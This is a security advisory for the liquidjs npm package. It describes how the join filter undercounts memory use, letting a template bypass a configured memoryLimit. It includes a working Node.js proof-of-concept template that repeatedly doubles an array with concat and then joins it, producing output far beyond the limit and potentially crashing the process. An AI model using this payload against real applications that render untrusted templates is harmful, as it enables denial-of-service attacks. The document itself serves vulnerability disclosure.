GHSA-4r6h-5v86-94p3: High severity npm/liquidjs vulnerability

Summary

The join filter (src/filters/array.ts:8-13) charges memoryLimit by array element count, not by the string length it produces, letting a template bypass a configured memoryLimit and allocate strings far past budget — bounded only by V8/process limits, not by memoryLimit.

Details

js // src/filters/array.ts:8-13 export const join = argumentsToValue(function (this: FilterImpl, v: any[], arg: string) { const array = toArray(v) const sep = isNil(arg) ? ' ' : stringify(arg) const complexity = array.length (1 + sep.length) // element COUNT, not element sizes this.context.memoryLimit.use(complexity) return array.join(sep) // allocates sum(element lengths) + separators })

concat (array.ts:72) is the enabler: it charges by element count too, but only copies references (cheap for both limiter and heap), so an array's element count can be doubled repeatedly at near-zero real cost. join is where the bug lives — it's the call that actually materializes all referenced content into one string, and its own charge (array.length) doesn't reflect that.

Same undercounting class as already-fixed replace (GHSA-mmg9-6m6j-jqqx), replacefirst (GHSA-6q5m-63h6-5x4v), date/strftime (GHSA-hh27-hf48-9f5q) — join wasn't covered. Sibling arraytosentencestring (src/filters/string.ts:210) has the identical defect.

PoC

Live-reproduced against liquidjs@10.27.1, Node v24.3.0.

javascript const { Liquid } = require('liquidjs'); const engine = new Liquid({ memoryLimit: 1e7 }); // 10M-unit DoS defense

const E = 5000, DOUBLINGS = 13; const chunk = 'a'.repeat(E); let tpl = {%- assign s = "${chunk}" -%}{%- assign a = s | split: "NOSUCHSEP" -%}; for (let i = 0; i < DOUBLINGS; i++) tpl += {%- assign a = a | concat: a -%}; // 1 -> 8192 elements tpl += {%- assign out = a | join: "" -%}{{ out | size }};

const len = Number(engine.renderSync(engine.parse(tpl))); // succeeds — should be blocked console.log('output length:', len); // output length: 40960000

Verified by binary-search on memoryLimit: render is blocked at 29573, succeeds at 29574 — confirming total charge across split+13×concat+join is exactly 29,574 units (split 5000, concat 16382, join 8192). Output length: 40,960,000 — 1385x the total charged, >4x the configured 10,000,000-unit limit. Scaling DOUBLINGS grows output exponentially for linear charge growth, driving toward gigabytes and a RangeError: Invalid string length / V8 OOM crash.

Impact

Any app rendering attacker-influenced templates with memoryLimit set (LiquidJS docs list it as covering "array concat/join/strftime") can have that control bypassed by one short template, forcing allocation well past budget up to a process crash. split/concat are correctly charged; the gap is join's own accounting of its own output. (LiquidJS's security-model docs call these limits "cooperative safeguards, not strict isolation" — doesn't change that join's charge is wrong relative to what it allocates.)